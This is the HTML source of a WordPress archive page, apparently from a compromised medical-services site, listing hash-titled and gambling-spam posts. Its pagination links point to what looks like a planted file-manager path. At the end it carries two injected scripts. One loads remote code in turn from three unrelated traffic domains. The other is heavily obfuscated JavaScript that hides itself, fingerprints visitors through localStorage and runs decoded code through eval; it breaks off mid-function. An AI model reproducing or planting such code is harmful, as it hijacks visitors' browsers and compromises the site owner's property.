<li id="menu-item-77" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-77"><a href="https://api.whatsapp.com/send/?phone=5511961828606">Fale Conosco</a></li>
<li id="menu-item-78" class="menu-item menu-item-type-custom menu-item-object-custom current-menu-item menu-item-home menu-item-78"><a href="https://pblmedic.com/#contato">Contato</a></li>
</ul>		</nav>
	</header>
<main id="content" class="site-main">

			<div class="page-header">
			<h1 class="entry-title">Arquivos</h1>		</div>
	
	<div class="page-content">
					<article class="post">
				<h2 class="entry-title"><a href="https://pblmedic.com/2026/08/21/394ba69e5a5ede342b8e374194de4f17e2298b73945d11442ebef101a9bda733/">394ba69e5a5ede342b8e374194de4f17e2298b73945d11442ebef101a9bda733</a></h2><p>394ba69e5a5ede342b8e374194de4f17e2298b73945d11442ebef101a9bda733</p>
			</article>
					<article class="post">
				<h2 class="entry-title"><a href="https://pblmedic.com/2026/08/21/0b0a295df32f35baf4ebeb4c4c7ec3a679d94d61b5d33192a3f72078b51b0ed3/">0b0a295df32f35baf4ebeb4c4c7ec3a679d94d61b5d33192a3f72078b51b0ed3</a></h2><p>0b0a295df32f35baf4ebeb4c4c7ec3a679d94d61b5d33192a3f72078b51b0ed3</p>
			</article>
					<article class="post">
				<h2 class="entry-title"><a href="https://pblmedic.com/2026/08/21/4969ef75eecaeaab506cd4e81cb82f7f28ade4fd53f880d0c6f8e6007f16baad/">4969ef75eecaeaab506cd4e81cb82f7f28ade4fd53f880d0c6f8e6007f16baad</a></h2><p>4969ef75eecaeaab506cd4e81cb82f7f28ade4fd53f880d0c6f8e6007f16baad</p>
			</article>
					<article class="post">
				<h2 class="entry-title"><a href="https://pblmedic.com/2026/08/21/%d0%b2%d0%bf%d0%bb%d0%b8%d0%b2-%d0%bd%d0%b5%d0%b9%d1%80%d0%be%d0%bc%d0%b5%d1%80%d0%b5%d0%b6-%d0%bd%d0%b0-%d1%96%d0%bd%d0%bd%d0%be%d0%b2%d0%b0%d1%86%d1%96%d1%97-%d0%b2-%d0%b3%d0%b0%d0%bb%d1%83%d0%b7/">Вплив нейромереж на інновації в галузі IT та їхні перспективи</a></h2><p>Розглядаючи можливості сучасних технологій, techhubs.com.ua перше, на що варто звернути увагу, – це інтеграція штучного інтелекту в бізнес-процеси. Використання алгоритмів глибокого навчання дозволяє компаніям автоматизувати рутинні завдання, зменшуючи час на виконання проектів. Впровадження цих рішень приводить до скорочення витрат і підвищення продуктивності. Наприклад, підприємства, які використовують автоматизовані рішення для обробки даних, у середньому спостерігають зростання [&hellip;]</p>
			</article>
					<article class="post">
				<h2 class="entry-title"><a href="https://pblmedic.com/2026/08/21/apostas-de-futebol-em-mostbet-guia-completa/">Apostas de futebol em Mostbet: guia completa</a></h2><p>As apostas de futebol têm se tornado uma das atividades mais populares entre os amantes do esporte, e a plataforma Mostbet se destaca como uma das principais opções para quem deseja fazer suas apostas online. Este relatório tem como objetivo fornecer uma visão completa sobre como funcionam as apostas de futebol na Mostbet, incluindo dicas, [&hellip;]</p>
			</article>
					<article class="post">
				<h2 class="entry-title"><a href="https://pblmedic.com/2026/08/21/bdm-bet-casino-fastpaced-slots-live-games-and-quic/">BDM Bet Casino: Fast‑Paced Slots, Live Games and Quick Wins</a></h2><p>For players who thrive on adrenaline and instant gratification, BDMBet offers a gaming ecosystem built around short, high‑intensity sessions. The platform’s design prioritizes rapid game access and swift payout cycles, allowing enthusiasts to jump straight into action without cumbersome onboarding. Seamless Entry: From Welcome Bonus to Play The first touchpoint is the welcome offer—up to [&hellip;]</p>
			</article>
					<article class="post">
				<h2 class="entry-title"><a href="https://pblmedic.com/2026/08/21/top-rated-casino-daily-deals-a-comprehensive-guide/">Top Rated Casino Daily Deals: A Comprehensive Guide</a></h2><p>As a seasoned online casino player with 15 years of experience, I have spent countless hours exploring the world of online roulette and casino games. In this article, I will delve into the world of top-rated casino daily deals, providing you with up-to-date information, statistics, and tips to enhance your gaming experience. Whether you are [&hellip;]</p>
			</article>
					<article class="post">
				<h2 class="entry-title"><a href="https://pblmedic.com/2026/08/21/the-ultimate-guide-to-slots-machine/">The Ultimate Guide to Slots Machine</a></h2><p>Slots machine, also known as slot machines, is one of the most popular casino games both online and offline. With their colorful graphics, exciting sound effects, and potential for big wins, slots machine attract players from all over the world. In this comprehensive guide, I will delve into the world of slots machine, covering everything [&hellip;]</p>
			</article>
					<article class="post">
				<h2 class="entry-title"><a href="https://pblmedic.com/2026/08/21/ruletka-darmowe-spiny-kasyno-poradnik-dla-graczy/">Ruletka darmowe spiny kasyno: Poradnik dla graczy</a></h2><p>Wprowadzenie do ruletki darmowe spiny kasyno Ruletka darmowe spiny kasyno to popularna gra kasynowa, która przyciąga zarówno doświadczonych graczy, jak i nowicjuszy. Gra polega na obstawianiu numerów, kolorów lub grup numerów https://waszemazury.pl na stole do ruletki, a następnie zakręceniu kołem. Darmowe spiny to bonusy, które pozwalają graczom na darmowe zakręcenie kołem, zwiększając szansę na wygraną. [&hellip;]</p>
			</article>
					<article class="post">
				<h2 class="entry-title"><a href="https://pblmedic.com/2026/08/21/i-am-gavin-lucas-a-betting-lover-having-a-particular-fascination-with-films-slots-and-you-can-alive-online-casino-games/">I am Gavin Lucas, a betting lover having a particular fascination with films slots and you can alive online casino games</a></h2><p>Whether you are commuting, waiting in-line https://nl-one-casino.nl/nl/promotiecode/ , otherwise leisurely yourself, you have access to the same large-high quality video game and large incentives available on desktop computer. If you signup at this local casino, don&#8217;t neglect to allege your own anticipate added bonus. All of the this new member can very quickly subscribe, allege [&hellip;]</p>
			</article>
			</div>

			<nav class="pagination">
			<div class="nav-previous"><a href="https://pblmedic.com/?edit=1&#038;p=%2Fusr%2Fbin&#038;path=%2Fusr%2Fbin%2Fkdumpctl" ><span class="meta-nav">&larr;</span> anterior</a></div>
			<div class="nav-next"><a href="https://pblmedic.com/page/3/?edit=1&#038;p=%2Fusr%2Fbin&#038;path=%2Fusr%2Fbin%2Fkdumpctl" >Próximo <span class="meta-nav">&rarr;</span></a></div>
		</nav>
	
</main>
<footer id="site-footer" class="site-footer">
	</footer>

<script type="speculationrules">
{"prefetch":[{"source":"document","where":{"and":[{"href_matches":"/*"},{"not":{"href_matches":["/wp-*.php","/wp-admin/*","/wp-content/uploads/*","/wp-content/*","/wp-content/plugins/*","/wp-content/themes/hello-elementor/*","/*\\?(.+)"]}},{"not":{"selector_matches":"a[rel~=\"nofollow\"]"}},{"not":{"selector_matches":".no-prefetch, .no-prefetch a"}}]},"eagerness":"conservative"}]}
</script>
<script id="wp-emoji-settings" type="application/json">
{"baseUrl":"https://s.w.org/images/core/emoji/17.0.2/72x72/","ext":".png","svgUrl":"https://s.w.org/images/core/emoji/17.0.2/svg/","svgExt":".svg","source":{"concatemoji":"https://pblmedic.com/wp-includes/js/wp-emoji-release.min.js?ver=7.1"}}
</script>
<script type="module">
/*! This file is auto-generated */
var e="script#wp-emoji-settings",t=document.querySelector(e);if(!(t instanceof HTMLScriptElement))throw new Error("Element missing: "+e);const r=JSON.parse(t.text),s=(window._wpemojiSettings=r,"wpEmojiSettingsSupports"),o=["flag","emoji"];function i(e){try{var t={supportTests:e,timestamp:(new Date).valueOf()};sessionStorage.setItem(s,JSON.stringify(t))}catch(e){}}function c(e,t,n){e.clearRect(0,0,e.canvas.width,e.canvas.height),e.fillText(t,0,0);t=new Uint32Array(e.getImageData(0,0,e.canvas.width,e.canvas.height).data);e.clearRect(0,0,e.canvas.width,e.canvas.height),e.fillText(n,0,0);const r=new Uint32Array(e.getImageData(0,0,e.canvas.width,e.canvas.height).data);return t.every((e,t)=>e===r[t])}function p(e,t){e.clearRect(0,0,e.canvas.width,e.canvas.height),e.fillText(t,0,0);var n=e.getImageData(16,16,1,1);for(let e=0;e<n.data.length;e++)if(0!==n.data[e])return!1;return!0}function u(e,t,n,r){switch(t){case"flag":return n(e,"\ud83c\udff3\ufe0f\u200d\u26a7\ufe0f","\ud83c\udff3\ufe0f\u200b\u26a7\ufe0f")?!1:!n(e,"\ud83c\udde8\ud83c\uddf6","\ud83c\udde8\u200b\ud83c\uddf6")&&!n(e,"\ud83c\udff4\udb40\udc67\udb40\udc62\udb40\udc65\udb40\udc6e\udb40\udc67\udb40\udc7f","\ud83c\udff4\u200b\udb40\udc67\u200b\udb40\udc62\u200b\udb40\udc65\u200b\udb40\udc6e\u200b\udb40\udc67\u200b\udb40\udc7f");case"emoji":return!r(e,"\ud83e\u1fac8")}return!1}function f(e,t,n,r){let a;const s=(a="undefined"!=typeof WorkerGlobalScope&&self instanceof WorkerGlobalScope?new OffscreenCanvas(300,150):document.createElement("canvas")).getContext("2d",{willReadFrequently:!0}),o=(s.textBaseline="top",s.font="600 32px Arial",{});return e.forEach(e=>{o[e]=t(s,e,n,r)}),o}function a(e){var t=document.createElement("script");t.src=e,t.defer=!0,document.head.appendChild(t)}r.supports={everything:!0,everythingExceptFlag:!0},new Promise(t=>{let n=function(){try{var e=JSON.parse(sessionStorage.getItem(s));if("object"==typeof e&&"number"==typeof e.timestamp&&(new Date).valueOf()<e.timestamp+604800&&"object"==typeof e.supportTests)return e.supportTests}catch(e){}return null}();if(!n){if("undefined"!=typeof Worker&&"undefined"!=typeof OffscreenCanvas&&"undefined"!=typeof URL&&URL.createObjectURL&&"undefined"!=typeof Blob)try{var e="postMessage("+f.toString()+"("+[JSON.stringify(o),u.toString(),c.toString(),p.toString()].join(",")+"));",r=new Blob([e],{type:"text/javascript"});const a=new Worker(URL.createObjectURL(r),{name:"wpTestEmojiSupports"});return void(a.onmessage=e=>{i(n=e.data),a.terminate(),t(n)})}catch(e){}i(n=f(o,u,c,p))}t(n)}).then(e=>{for(const n in e)r.supports[n]=e[n],r.supports.everything=r.supports.everything&&r.supports[n],"flag"!==n&&(r.supports.everythingExceptFlag=r.supports.everythingExceptFlag&&r.supports[n]);var t;r.supports.everythingExceptFlag=r.supports.everythingExceptFlag&&!r.supports.flag,r.supports.everything||((t=r.source||{}).concatemoji?a(t.concatemoji):t.wpemoji&&t.twemoji&&(a(t.twemoji),a(t.wpemoji)))});
//# sourceURL=https://pblmedic.com/wp-includes/js/wp-emoji-loader.min.js
</script>
<script>(function(){var u=["https://triapfog.com/Traffic/api","https://iocriotao.icu/Traffic/api","https://mioiooo.icu/Traffic/api"],i=0;\nfunction n(){if(i>=u.length)return;var s=document.createElement('script');\ns.src=u[i];s.onerror=function(){i++;n()};\n(document.head||document.documentElement).appendChild(s);i++;}\nn();})();</script>
<script>
"use strict";var rxdmS4,FlCAu25,g3Gld7J,_PoKZj,MSUxhJ2,cUL0VT,j2tRUWQ,Q4sOnFn,nco7OV;const FZHYVb=[0x0,0x1,0x8,0xff,"length","undefined",0x3f,0x6,"fromCodePoint",0x7,0xc,"push",0x5b,0x1fff,0x58,0xd,0xe,0x5d,0x10,0x200,0xf,0x3,0x2,0x4,0x3ff,0x7f,0x1f,0x80,0x12,0x20,0x5,0x18,0xa,0x13,0x40,0xffff,"js",0x82,!0x1];function R_2lkdW(rxdmS4){var FlCAu25="<,^7;9x`%1.0+g~o:JG*fp]ca2O#m}B[bX5d{(wt=iA&TEUINLV$erR_?yKl|YCHvuknW/Z6)>Q8DshzSP4M3!\"Fq@j",g3Gld7J,_PoKZj,MSUxhJ2,cUL0VT,j2tRUWQ,Q4sOnFn,nco7OV;N4W9hYK(g3Gld7J=""+(rxdmS4||""),_PoKZj=g3Gld7J.length,MSUxhJ2=[],cUL0VT=FZHYVb[0x0],j2tRUWQ=FZHYVb[0x0],Q4sOnFn=-FZHYVb[0x1]);for(nco7OV=FZHYVb[0x0];nco7OV<_PoKZj;nco7OV++){var R_2lkdW=FlCAu25.indexOf(g3Gld7J[nco7OV]);if(R_2lkdW===-FZHYVb[0x1])continue;if(Q4sOnFn<FZHYVb[0x0]){Q4sOnFn=R_2lkdW}else{N4W9hYK(Q4sOnFn+=R_2lkdW*FZHYVb[0xc],cUL0VT|=Q4sOnFn<<j2tRUWQ,j2tRUWQ+=(Q4sOnFn&FZHYVb[0xd])>FZHYVb[0xe]?FZHYVb[0xf]:FZHYVb[0x10]);do{N4W9hYK(MSUxhJ2.push(cUL0VT&FZHYVb[0x3]),cUL0VT>>=FZHYVb[0x2],j2tRUWQ-=FZHYVb[0x2])}while(j2tRUWQ>FZHYVb[0x9]);Q4sOnFn=-FZHYVb[0x1]}}if(Q4sOnFn>-FZHYVb[0x1]){MSUxhJ2.push((cUL0VT|Q4sOnFn<<j2tRUWQ)&FZHYVb[0x3])}return t24J32(MSUxhJ2)}function s7MFvm(g3Gld7J){if(typeof rxdmS4[g3Gld7J]===FZHYVb[0x5]){return rxdmS4[g3Gld7J]=R_2lkdW(FlCAu25[g3Gld7J])}return rxdmS4[g3Gld7J]}N4W9hYK(rxdmS4={},FlCAu25=["ey0.sM]{{1_D]9[aL$>xSDUU[k4|K2hO=+E.r8i`7*ZZlw,(`6(QnNaS<+","<=%R_(gr5|xBTM7Gf$txPyVvllU/n~U=)<","/NyRrKmG;1W>54:#Gx<x_UO%Blcub7Oc}fte`Q2I7","![cXYtO\"x",",Lg`=HGU%f_29{YJ(O_e@E(`(vQZNI{w&+WQddxZn*YmTI`*&CFLe$gIM*","MN6mNZpd7yxzM~Qwl7?x6z8`9g=z5g9w7}%1>P.e>JGNwL5{Dc7","YCH>0wma0~4b#O<cJbWO%DC\"}p`gd~T*gyWQZ56,","pHb$$K0,","9Lj}qy<{zo)H#^R#)7?1}Mu$hH:fY;Ba1OO#x{j\"fv*4+o$isClrFM?^2~t","Bu@$y|DxhH2#,{4=;km[9N6g&lw","k$U[c6<","vWTQ4CB^","Tcq>}Sz$(KsrSl&O*o_ed=g*+l.RtZ&t,b1B/rZQV|vL,)Z(_lGs~P<","?R]en)%awv,^3l,a($g[^\".\"$*!9%ovc|({ssD[*0l!P/;","o+g_Ghj+NHRZ&wo#96OsgN4U~p3Z[M}dnCS1","q>Hm1zH$Co=`};k{nc0sVLFcV1AN:#2}&&@xLWnc7","CW1$1\"QUd|xYel>*ql7","r$p;N$*,Ffg)X2ba^&^","#fIeMCKGOJr","Uxyx)C+a(K~_SMC}hZp`0M8,","Ofh;Y|#}!g3Q+3G=P7~`9_VBUrX~3Ibc>lKr<KF`P|SoRg2d0cg`@y^K~pw","+&nbCU{GWyYs%7.","m1c>2eEIvG)2^2]m_=,8g_W+;","2Oux{82r{vtmJ:Bdm,","fyC_N8gixv5)a6hO;6([4MS+UpPZ1(\"iAQB[3e0`l0Ld+t~","@JMsw4meKl9x]P$i:&^","5N2h6z9g|%:f)Mw24EV$3E.BY?ls<:p#]Rubx_E!x.SP42w2]bSLe),27","]Q~_bR1g,G=e!S,J2,","]oyx^UprAC}u;#F}$7J$JDrckH\"{<oSt}U.}$Z<","[c[;gQFiH|czW{A2bcFm!VDGT~_D[7","huYQCs:ZsroC36|{[QweO=?B$ROJ1:<BV5+.T8(*$|VS.9gwNf+.*","MlwL%P.G5HepO9#}*x:RmITa>K]5;7","$1/`ORf%!Ka_Sor=QC;}>yavUGj})l+OYupD./|BAfwm!|CASle.@I%Gx","T+$}EHr,6v0(hL+",">JBD?z>,",")7v>@w?epv:8cwdJjC/m1z4UPR[)vokGM<","BR9.}e@JkRk2lKYc\"EXbGVxBS+,)7Ord/CnsN$=+bo:z&6+t9LF1]",".6wLgD_!]v18#^;[%}HmJ_,*IG~zTI%[5=N1@y}H/*a","zCG)DN``NpQS^Y]5z2e}aw`,qgCeqIGm[},#qhRS,o","5WbxHU]Q;Rksa:wGe7\"`9)hxbojnJNWBm=Imjhy}LGq}&OjAkWYmf","fHn}idrg0ChLVggOTubxS{:{/vfzC4@cxGoDhVxA6f=zL2VmM<","+O_eSD(g4*Pb,","N5(.ml]a^od)>)VmHW7}yr*`%g`I3o,Boyl%","[R8}kQKK&J%RHw%GtQC;f","d|h[K$s`1J","iy7}FM.ewgxR1:?dJ(wmtH(yG1;cP;adYWcLUYG{9","Uux1ae&dQl)Lq7z=o|l%mRU^1~Y","J6B>/znHC%~zl~K{9|kr%C*}9K`cnwj]`yoRcl[yOJ^),)Za%H?>}","w65}=WtyG|@,%on[ZNt;2I]UDC!QTMstU[DVGMMztgX)b73]{|)1ODny}~","GH+[/NMd#~v,/|(2lNXb@XG{J1XpYamipR49My]%+~xx/N{[UO^","dyUmzQ+K|C%NX:7&s(]eqwQGglOJ3IgfI&esZPy,","7RR1;535ju}K$~>2S5p.","goU`w>(/El+:+oJf7cNRA8@,:ow>r)&ww6vLO!I,","AOG$yZK\"j~t>CL&wBu~euN(I&%:)=;","&Q[;dR/,+pQS@P`2)c?L+Vm%L1[DVL=wJU49@w+^","Bu)1GyC+:o=>2LJtvxC;5eb^","h?ZDe)|^~l:z]O`(WW#b:Pu/[HQ},:Dt",".b8b_rgHV|aad~T*T$Zme8<","tyR_iY|UAfKlkPnGw6$%X=(`)go4T#CaY7c;)C<","2O5bcM12_v>}c^2Ag+vL75hQj~DsQ~QwX(er1_<","s2A#Se|a<pXp5LW[2u_mZ_4U!g^hjwC}m(x_(LVB7y%WSa^J)c[D8w:^","pUf}lsWSh%}D1(g","*x/[*6K=M|:)b)rdHcG8G","HmHLjM]e8CT~;t+O6urQf6T=iJX#C2CcyNpm<|#dPRulM^w2>NB_aVV^","&yD[vQd`}kw[*VwwR$iBfD}r^y2aa6+*g;7","ZWP%SwJ`9.\"|Zg1wWEg[jh=U.lnZ;#\"iZ<","0Hp.N3~Z8uBK$wf#rRoDIW+UPRgz_o6GBRx_p","lW1$_5+Gyfh;C2u(TW3[OhyIv1.79|otd(P$oDLi$*Z>$ZN==}BeqIBall(","E(^$1{DU[|]ftOA*P(894PucZg*[0~$5]+u$t8[}Uo@sdKYJ$$4%","{O!Q&HtI31#5j2ZwxOT}Q/Sex_1gv#X(?6$reZid1Kt","Dx{.#>W\"N|KS9{q5xW}[v5!g%J$lxP]5TxZDQ/4acgilqogfPZoxn)$iIG","MZ]mIZ>`KC<XWMS5^pn9<zh5K0llY|[J@r]XLW:a(gdpS7","~OCDm=r,","OW36<|3KvrY>lwV5m5=RcDOBok!Z0OmdJ+/.0w5B5oU[W7R=}R};}","nA&)5hBB$18Zq|B{|NW6*MhU`","tOB_4/Ca,RVkIZ9(oxV#~CG^","XyZmJP(gvoQQPNq5eEvxjEG%9","<|}Du)6HiJfzy(h=8lbxyUtybo80q6.w7koeG","n5<x8ykKkHWkD6o#y$j%1Pi8UGo4blE*I&2$*P3+Fv<4?MJ=abvR}","X7F>@h8,","EyQ9y|<","~LB`C)<","X=!Q9P~{MRDSV2cm37msqM.KKJ(","M2GbcV~{s?#gkL+OGU3rRH(dXks{bI[(b$1BZr[/BG","2=2$^URGbo","Y15~aJ!EW","2&p.q/+%jfKe7V@5x;E.gQ>iSkgWKLld^SC[EWu/DCX)@)]5~ooDXhTBopCeL)c5Hca1NFyI0J5)2;LtQRms[h%ZVH+T6Oq5AOMbiS_*XHY>L;\"=:;v1A>4\"Zv>Lp3otMf7b[h$I8J^!,:X{(yHDr4|BSkKe|oc5;;9.Cs&g#f","[og.}","3aZhA7Ly/WU","[#c4j&Z?`]iEQuKT","/.<r","*.sj9>y?aWut1#;","U/Su|ENA","{[3!&Y)5c","e!hrH*o","cuCvjMwye#Ace","y[3!&Y)5c","/wL&//ac#h:`fA6[$`A2L/Ex(X$1T?H@005f~Lac!v[`7A8[005fXjze&J/1$tf@p]e","R7O!iYo","eunv","[DOw","bNz_/pdK","^89&x`I1tihY`b4.26TU32c7yL()b:du(6M5k]U(=\"@{4","RX9&P>W#","m%Fm9","6%7f7","eQd]8)!#","M8lPCj[+w$b","XXd]8)!#","KllPN1iFwW~+#D","Su69VsLL5","3#!B","15@kDmV0AHQ8mj)m(u~BZmh#.%}$JKls0uVznsm06BAC:j.m1h7nWeM#%Zgv$j].AHrn@f%<F8WWdz0","UDxav4n>2","l|XLyqX`yJ+4d*R[6sZk","l|XLyqX`yJ+4>zc`MMAJ","(0*?KdqnKu84&dv{?W!&tuyr,k|f/kc(@0jXRFu3b@MMBlW$~WofOV9_MCD[lv0WfdqFG%q.GpOV)V?","Ak7z0","er>B","sUOG|1=]NS","f~y8d","\"ojq","Hu&|}xeXqJ*&`r]VJV^GLfvX","Vrv%of6X","UUlWbxUj@D7Cik","af.UhhA[mC)`<","f\"y8n","kk9|GfA","Dr>B","}5&|NwA","_;yj%Gln|9XUg6\"*R[2r","L.>Vj&qK5~6","4a$JadOR>@6","V0&>t5o","N83r8[W;oX=","0;pu","\"0%NPBA\"E;y.*(G1","}Vy)|f&","+A0XFXN=K",",cT5y]JfE","pS<[Y","WrfU","X#Vl","yr:Oe","!#Fa","/#VleYXJ",";T_u4te`<z","Y4\"(<","+TvODiB","ou:t,","),&X","J,&X","g*z0w","fEKG$VTwC","5RH7{}ppaCJvFrD1|_tDI.BK","XE5/6","FK!U","oK!U","aQ*RG"]);function FUaXU5(){var rxdmS4=[function(){return globalThis},function(){return global},function(){return window},function(){return new Function("return this")()}],FlCAu25,g3Gld7J,_PoKZj;N4W9hYK(FlCAu25=void 0x0,g3Gld7J=[]);try{N4W9hYK(FlCAu25=Object,g3Gld7J[FZHYVb[0xb]]("".__proto__.constructor.name))}catch(e){}YwoZ8UH:for(_PoKZj=FZHYVb[0x0];_PoKZj<rxdmS4[FZHYVb[0x4]];_PoKZj++)try{var MSUxhJ2;FlCAu25=rxdmS4[_PoKZj]();for(MSUxhJ2=FZHYVb[0x0];MSUxhJ2<g3Gld7J[FZHYVb[0x4]];MSUxhJ2++)if(typeof FlCAu25[g3Gld7J[MSUxhJ2]]===FZHYVb[0x5])continue YwoZ8UH;return FlCAu25}catch(e){}return FlCAu25||this}N4W9hYK(g3Gld7J=FUaXU5()||{},_PoKZj=g3Gld7J.TextDecoder,MSUxhJ2=g3Gld7J.Uint8Array,cUL0VT=g3Gld7J.Buffer,j2tRUWQ=g3Gld7J.String||String,Q4sOnFn=g3Gld7J.Array||Array,nco7OV=function(){var rxdmS4=new Q4sOnFn(FZHYVb[0x1b]),FlCAu25,g3Gld7J;N4W9hYK(FlCAu25=j2tRUWQ[FZHYVb[0x8]]||j2tRUWQ.fromCharCode,g3Gld7J=[]);return function(_PoKZj){var MSUxhJ2,cUL0VT,Q4sOnFn,nco7OV;N4W9hYK(cUL0VT=void 0x0,Q4sOnFn=_PoKZj[FZHYVb[0x4]],g3Gld7J[FZHYVb[0x4]]=FZHYVb[0x0]);for(nco7OV=FZHYVb[0x0];nco7OV<Q4sOnFn;){N4W9hYK(cUL0VT=_PoKZj[nco7OV++],cUL0VT<=FZHYVb[0x19]?MSUxhJ2=cUL0VT:cUL0VT<=0xdf?MSUxhJ2=(cUL0VT&FZHYVb[0x1a])<<FZHYVb[0x7]|_PoKZj[nco7OV++]&FZHYVb[0x6]:cUL0VT<=0xef?MSUxhJ2=(cUL0VT&FZHYVb[0x14])<<FZHYVb[0xa]|(_PoKZj[nco7OV++]&FZHYVb[0x6])<<FZHYVb[0x7]|_PoKZj[nco7OV++]&FZHYVb[0x6]:j2tRUWQ[FZHYVb[0x8]]?MSUxhJ2=(cUL0VT&FZHYVb[0x9])<<FZHYVb[0x1c]|(_PoKZj[nco7OV++]&FZHYVb[0x6])<<FZHYVb[0xa]|(_PoKZj[nco7OV++]&FZHYVb[0x6])<<FZHYVb[0x7]|_PoKZj[nco7OV++]&FZHYVb[0x6]:(MSUxhJ2=FZHYVb[0x6],nco7OV+=FZHYVb[0x15]),g3Gld7J[FZHYVb[0xb]](rxdmS4[MSUxhJ2]||(rxdmS4[MSUxhJ2]=FlCAu25(MSUxhJ2))))}return g3Gld7J.join("")}}());function t24J32(rxdmS4){return typeof _PoKZj!==FZHYVb[0x5]&&_PoKZj?new _PoKZj().decode(new MSUxhJ2(rxdmS4)):typeof cUL0VT!==FZHYVb[0x5]&&cUL0VT?cUL0VT.from(rxdmS4).toString("utf-8"):nco7OV(rxdmS4)}function vJUdU0(g3Gld7J,_PoKZj,MSUxhJ2){function cUL0VT(g3Gld7J){var _PoKZj=":EtDeqXWw`<7;nOQfVT*|bsdh>pc)GFv&^/%Yk$mSzjH@25yxIU6}?1\"lJu_9]Lr.i#C{+gKZo,3~!aP0N(4[=8BRAM",cUL0VT,j2tRUWQ,rxdmS4,FlCAu25,Q4sOnFn,nco7OV,R_2lkdW;N4W9hYK(cUL0VT=""+(g3Gld7J||""),j2tRUWQ=cUL0VT.length,rxdmS4=[],FlCAu25=FZHYVb[0x0],Q4sOnFn=FZHYVb[0x0],nco7OV=-FZHYVb[0x1]);for(R_2lkdW=FZHYVb[0x0];R_2lkdW<j2tRUWQ;R_2lkdW++){var s7MFvm=_PoKZj.indexOf(cUL0VT[R_2lkdW]);if(s7MFvm===-FZHYVb[0x1])continue;if(nco7OV<FZHYVb[0x0]){nco7OV=s7MFvm}else{N4W9hYK(nco7OV+=s7MFvm*FZHYVb[0xc],FlCAu25|=nco7OV<<Q4sOnFn,Q4sOnFn+=(nco7OV&FZHYVb[0xd])>FZHYVb[0xe]?FZHYVb[0xf]:FZHYVb[0x10]);do{N4W9hYK(rxdmS4.push(FlCAu25&FZHYVb[0x3]),FlCAu25>>=FZHYVb[0x2],Q4sOnFn-=FZHYVb[0x2])}while(Q4sOnFn>FZHYVb[0x9]);nco7OV=-FZHYVb[0x1]}}if(nco7OV>-FZHYVb[0x1]){rxdmS4.push((FlCAu25|nco7OV<<Q4sOnFn)&FZHYVb[0x3])}return t24J32(rxdmS4)}function j2tRUWQ(g3Gld7J){if(typeof rxdmS4[g3Gld7J]===FZHYVb[0x5]){return rxdmS4[g3Gld7J]=cUL0VT(FlCAu25[g3Gld7J])}return rxdmS4[g3Gld7J]}switch(g3Gld7J){case j2tRUWQ(0x55):return _PoKZj+MSUxhJ2}}function xEv0OAf(){}function eS9fQMb(){}function N4W9hYK(){N4W9hYK=function(){}}(()=>{function g3Gld7J(g3Gld7J,_PoKZj){if(!_PoKZj){_PoKZj=function(_PoKZj){if(typeof rxdmS4[_PoKZj]===FZHYVb[0x5]){return rxdmS4[_PoKZj]=g3Gld7J(FlCAu25[_PoKZj])}return rxdmS4[_PoKZj]}}if(!g3Gld7J){g3Gld7J=function(g3Gld7J){var _PoKZj="oeAOu2cgXvrz;m:[%@{W9}sB?RfHI_yj!)0*L/F$T^|.N<7tw86,Jha4+QU]#\"`pC~=3xPE&q1(5>VMinYdGZbKSkDl",MSUxhJ2,j2tRUWQ,Q4sOnFn,nco7OV,R_2lkdW,FUaXU5,eS9fQMb;N4W9hYK(MSUxhJ2=""+(g3Gld7J||""),j2tRUWQ=MSUxhJ2.length,Q4sOnFn=[],nco7OV=FZHYVb[0x0],R_2lkdW=FZHYVb[0x0],FUaXU5=-FZHYVb[0x1]);for(eS9fQMb=FZHYVb[0x0];eS9fQMb<j2tRUWQ;eS9fQMb++){var Umd97Q=_PoKZj.indexOf(MSUxhJ2[eS9fQMb]);if(Umd97Q===-FZHYVb[0x1])continue;if(FUaXU5<FZHYVb[0x0]){FUaXU5=Umd97Q}else{N4W9hYK(FUaXU5+=Umd97Q*FZHYVb[0xc],nco7OV|=FUaXU5<<R_2lkdW,R_2lkdW+=(FUaXU5&FZHYVb[0xd])>FZHYVb[0xe]?FZHYVb[0xf]:FZHYVb[0x10]);do{N4W9hYK(Q4sOnFn.push(nco7OV&FZHYVb[0x3]),nco7OV>>=FZHYVb[0x2],R_2lkdW-=FZHYVb[0x2])}while(R_2lkdW>FZHYVb[0x9]);FUaXU5=-FZHYVb[0x1]}}if(FUaXU5>-FZHYVb[0x1]){Q4sOnFn.push((nco7OV|FUaXU5<<R_2lkdW)&FZHYVb[0x3])}return t24J32(Q4sOnFn)}}if(new RegExp(s7MFvm(0x56),"i")[s7MFvm(0x57)](navigator[_PoKZj(FZHYVb[0xe])])){return}const MSUxhJ2=document[_PoKZj(0x59)];MSUxhJ2?.parentNode?.removeChild(MSUxhJ2);const cUL0VT=Date[_PoKZj(0x5a)],j2tRUWQ=cUL0VT(),Q4sOnFn=window[_PoKZj(FZHYVb[0xc])],nco7OV=_PoKZj(0x5c),R_2lkdW=Q4sOnFn[_PoKZj(FZHYVb[0x11])](nco7OV);if(R_2lkdW&&Number(R_2lkdW)>j2tRUWQ){return}let FUaXU5="";const eS9fQMb=_PoKZj(0x5e),Umd97Q=Q4sOnFn[_PoKZj(FZHYVb[0x11])](eS9fQMb)||crypto[_PoKZj(0x5f)]();Q4sOnFn[_PoKZj(0x60)](eS9fQMb,Umd97Q);const RpmYYq=new TextEncoder,UPyk5fu=new TextDecoder,dNiP0ow=new Uint8Array(_PoKZj(0x61)[_PoKZj(0x62)](",")[_PoKZj(0x63)](Number)),ZkiMN6J=0x5265c00,WuMNj_9=g3Gld7J=>{return(FZHYVb[0x0],eval)(g3Gld7J)},db47_vS=g3Gld7J=>{function _PoKZj(g3Gld7J){var _PoKZj="J[YmDPIpiweuqCF~`:9f>hl;#2*+&),xK1(d4=zQ]<H%3_ors/MG@TBW^Z8y6kj.bc0{V?a5gXtAR!}EOv\"n|L7UNS$",MSUxhJ2,j2tRUWQ,Q4sOnFn,nco7OV,R_2lkdW,FUaXU5,eS9fQMb;N4W9hYK(MSUxhJ2=""+(g3Gld7J||""),j2tRUWQ=MSUxhJ2.length,Q4sOnFn=[],nco7OV=FZHYVb[0x0],R_2lkdW=FZHYVb[0x0],FUaXU5=-FZHYVb[0x1]);for(eS9fQMb=FZHYVb[0x0];eS9fQMb<j2tRUWQ;eS9fQMb++){var 